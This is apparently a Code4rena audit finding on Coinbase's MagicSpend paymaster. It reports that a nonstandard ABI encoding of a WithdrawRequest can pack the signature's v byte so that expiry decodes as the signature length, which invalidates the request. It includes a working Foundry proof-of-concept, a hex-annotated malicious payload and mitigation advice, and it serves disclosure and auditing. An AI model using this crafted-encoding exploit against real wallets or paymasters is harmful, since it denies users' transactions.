c4-bot-8 commented 8 months ago

Lines of code

https://github.com/code-423n4/2024-03-coinbase/blob/e0573369b865d47fed778de00a7b6df65ab1744e/src/MagicSpend/MagicSpend.sol#L114

Vulnerability details

Impact

Maliciously constructed WithdrawRequest calldata structs (for example reordered or constructed by bad frontend) can manipulate expiry value decoding to DOS all MagicSpend WithdrawRequests from a signer.

Manually restructured WithdrawRequest calldata (using nonstandard ABI encoding) which is formatted to fit a EIP2098 compact signature can derive and then pack a full 65 byte signature into the same struct without altering its hash. This is achieved by using the big endian side of the expiry slot to store the uint8 v yParity and arises due to malleability of ABI encoding as well as MagicSpend's lack of enforcement and validation for the struct's encoding.

Since a full 65 byte signature can be obtained from a compact EIP2098 (and vice versa), malicious dapps need only present such nonstandard WithdrawRequests for unsuspecting users to sign, effectively granting dapps the right to deny UserOperations containing WithdrawRequests in the paymasterAndData field. When structured as shown in the PoC, expiry is tricked to return the length of the signature (64 or 65) as opposed to a relevant block.timestamp in Unix format. This means the signature expired in 1972 and is completely unusable.

Proof of Concept

The following test file is designed for integration with the audit repository by being placed in a new "PoC" or other name dir within 2024-03-coinbase/test/SmartWallet/ and then run to observe the attack:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import {Test, console2} from "forge-std/Test.sol";
import {SignatureCheckerLib} from "solady/utils/SignatureCheckerLib.sol";
import {UserOperation, UserOperationLib} from "account-abstraction/interfaces/UserOperation.sol";
import {IStakeManager} from "account-abstraction/interfaces/IStakeManager.sol";
import {calldataKeccak} from "account-abstraction/core/Helpers.sol";
import {MockEntryPoint} from "../mocks/MockEntryPoint.sol";
import "test/MagicSpend/PaymasterMagicSpendBase.sol";
import "../CoinbaseSmartWallet/SmartWalletTestBase.sol";

contract PoC is Test {
    /// forge-config: default.fuzz.runs = 10_000_000

    // dummy event for lazy selector encoding
    event UserOperationEvent(bytes32 indexed userOpHash, address indexed sender, address indexed paymaster, uint256 nonce, bool success, uint256 actualGasCost, uint256 actualGasUsed);

    uint256 msOwnerPrivateKey = 0xdeadbeef;
    address msOwner = vm.addr(msOwnerPrivateKey);
    MagicSpend magicSpend = new MagicSpend(msOwner);
    CoinbaseSmartWallet account = new MockCoinbaseSmartWallet();
    CoinbaseSmartWallet validUserAccount = new MockCoinbaseSmartWallet();
    IEntryPoint entryPoint = IEntryPoint(0x5FF137D4b0FDCD49DcA30c7CF57E578a026d2789);

    // userop signature params
    uint256 signerPrivateKey = 0xa11ce;
    address signer = vm.addr(signerPrivateKey);
    uint256 validUserPrivateKey = 0xbeef;
    address validUser = vm.addr(validUserPrivateKey);
    address bundler = vm.addr(0xc0ffeebabe);

    // userop
    uint256 callGasLimit = 49152;
    uint256 verificationGasLimit = 378989;
    uint256 preVerificationGas = 273196043;
    uint256 maxFeePerGas = 1000304;
    uint256 maxPriorityFeePerGas = 1000000;

    // withdraw signature params
    address withdrawer = address(0xb0b);
    address asset = address(0x0);
    uint256 amount = 1 ether;
    uint256 maxCost = amount - 10;
    uint256 nonce = 0;
    uint48 expiry = uint48(block.timestamp + 1);

    // to be populated per test
    bytes initCode;
    bytes userOpCalldata;
    bytes paymasterAndData;
    bytes signerSig;
    bytes msOwnerSig;
    bytes[] owners;
    CoinbaseSmartWallet.Call[] calls;

    // baseline storage structs for convenience (update members as needed)
    UserOperation userOp = UserOperation({
        sender: address(account),
        nonce: nonce,
        initCode: initCode,
        callData: userOpCalldata,
        callGasLimit: callGasLimit,
        verificationGasLimit: verificationGasLimit,
        preVerificationGas: preVerificationGas,
        maxFeePerGas: maxFeePerGas,
        maxPriorityFeePerGas: maxPriorityFeePerGas,
        paymasterAndData: paymasterAndData,
        signature: signerSig // empty; must be populated per test
    });

    MagicSpend.WithdrawRequest withdrawRequest = MagicSpend.WithdrawRequest({
        asset: asset,
        amount: amount,
        nonce: nonce,
        expiry: expiry,
        signature: msOwnerSig // empty; must be populated per test
    });

    function setUp() public virtual {
        vm.etch(0x5FF137D4b0FDCD49DcA30c7CF57E578a026d2789, Static.ENTRY_POINT_BYTES);

        vm.deal(address(account), 1 ether);
        vm.deal(address(validUserAccount), 2 ether);
    }

    function test_manipulateExpiryAttributeUsingMaliciousWithdrawalEncoding() public {
        _initializeSmartWallet(signer, account);
        _initializeSmartWallet(validUser, validUserAccount);

        vm.deal(address(magicSpend), 2 ether);
        // fund entrypoint as magicSpend contract (this amount is depleted for the 2nd call)
        vm.prank(address(magicSpend));
        (bool success,) = address(entryPoint).call{value: 1 ether}("");
        assert(success);

        // malicious encoding (ABI-recognizable) using state var `expiry` which is currently `2`
        bytes memory unsignedMaliciousRequest = _craftMaliciousRequest(amount, nonce, bytes32(0), bytes32(0), uint8(0), expiry, true, false);

        // abi can decode maliciousRequest
        MagicSpend.WithdrawRequest memory mal = abi.decode(unsignedMaliciousRequest, (MagicSpend.WithdrawRequest));
        bytes32 malHash = magicSpend.getHash(address(validUserAccount), mal);

        // populate mal with updated signature payload signed on new hash
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(msOwnerPrivateKey, malHash);
        bytes memory maliciousRequest = _craftMaliciousRequest(amount, nonce, r, s, v, expiry, true, false);
        MagicSpend.WithdrawRequest memory maliciousRequestStruct = abi.decode(maliciousRequest, (MagicSpend.WithdrawRequest));
        // prove that maliciously encoded calldata struct now has been manipulated to incorrectly read sig length as `WithdrawRequest.expiry`prop due to packing
        assertEq(maliciousRequestStruct.expiry, maliciousRequestStruct.signature.length);
        // show that `expiry` state var is still 2 and was ignored
        assertEq(expiry, 2);

        // get malOp and submit to entryPoint
        (UserOperation memory malOp, bytes32 malOpHash) = _getValidUserOpSigned(abi.encodePacked(address(magicSpend), maliciousRequest));
        UserOperation[] memory ops = new UserOperation[](1);
        ops[0] = malOp;

        //malicious bundler can DOS by spending entrypoint nonces using malicious withdrawrequest encoding
        uint256 currentUnixTimeStamp = 1711042644;
        // since manipulated `expiry` is very low (64 or 65 sig length), all signatures will now fail as expired
        vm.warp(currentUnixTimeStamp);

        vm.prank(bundler);
        vm.expectRevert(abi.encodeWithSelector(IEntryPoint.FailedOp.selector, 0, "AA32 paymaster expired or not due"));
        entryPoint.handleOps(ops, payable(bundler));

        console2.logString("Complete denial of service for all signatures of malicious WithdrawRequest (ie reordered by bad bundler or constructed by frontend)");
    } 

    function _craftMaliciousRequest(
        uint256 amt, 
        uint256 nonce, 
        bytes32 r, 
        bytes32 s, 
        uint8 v, 
        uint48 /*expiry*/, 
        bool packExpiry,
        bool compactSig2098
    ) internal pure returns (bytes memory) {
        // impl not necessary for PoC as non-determinism of `WithdrawRequest` hash & therefore `userOpHash` is proven but for example:
        if (!packExpiry) { /* use unpacked uint8 V & expiry */ }

        // further unique `WithdrawRequest` encodings lead to more permutations of `userOpHash` and request hash
        if (compactSig2098) { 
            // use 64 byte signature as opposed to 65 byte
            s = _convertTo2098CompactSig(s, v);
        }

        return abi.encodePacked(
            uint256(0x20), // start ofs
            uint256(0x80), // sig ofs
            uint256(uint160(address(0x0))), // asset
            amt, // amount (== 1 ether)
            nonce, // nonce (== 0)
            uint256(0x41), // sig len
            uint256(r), // sig R
            uint256(s), // sig S
            uint256(bytes32(bytes1(v))) | uint256(uint48(0x02))  // packed sig V & expiry
            // uint256(uint48(0x02)) // example optional unpacked expiry slot (prev slot would be sig V only)
        );
    }

    function _convertTo2098CompactSig(bytes32 s, uint8 v) internal pure returns (bytes32 newS) {
        // create EIP2098 compact signature by eliminating `v` and encoding the ECDSA yParity into topmost bit of `s`
        newS = v == 28 ? bytes32(uint256(s) + (8 << 252)) : s;
    }

    function _initializeSmartWallet(address owner, CoinbaseSmartWallet target) internal {
        delete owners;
        owners.push(abi.encode(owner));
        target.initialize(owners);
    }

    function _getValidUserOpSigned(bytes memory _paymasterAndData) internal view returns (UserOperation memory validOp, bytes32 retOpHash) {
        // populate valid userOp fields using storage struct
        validOp = userOp;
        validOp.sender = address(validUserAccount);
        validOp.paymasterAndData = _paymasterAndData;

        // populate valid userOp signature
        retOpHash = entryPoint.getUserOpHash(validOp);
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(validUserPrivateKey, retOpHash);
        bytes memory sig = abi.encodePacked(r, s, v);
        validOp.signature = abi.encode(CoinbaseSmartWallet.SignatureWrapper(0, sig));
    }

For clarity, the following is a malicious yet valid nonstandard ABI-encoded WithdrawRequest:

0x        Malicious nonstandard-encoded WithdrawalRequest
        0000000000000000000000000000000000000000000000000000000000000020 struct ofs
        0000000000000000000000000000000000000000000000000000000000000080 sig ofs
        0000000000000000000000000000000000000000000000000000000000000000 asset
        0000000000000000000000000000000000000000000000000de0b6b3a7640000 amount
        0000000000000000000000000000000000000000000000000000000000000000 nonce
        0000000000000000000000000000000000000000000000000000000000000041 sig len
        659e46de44885029b3526171775102fa04228cca99f1c89f1890c8f3368c7069 sig
        4fb14f96fa48e229968e60e05655504d5696414a3d70bcf4694e930c6b6bdeb5 sig
        1b00000000000000000000000000000000000000000000000000000000000002 packed yParity | expiry
    */

Tools Used

Manual review

Recommended Mitigation Steps

Mitigation can be achieved in multiple ways, namely:

implement a strict encoding and decoding schema which is enforced at validation (beyond the looser ABI encoding rules). For example requiring the signature to be located in a fixed calldata slot and verifying via hash of the required encoding
disable EIP2098 compact signatures (or the full 65byte version if the calldata savings are deemed important)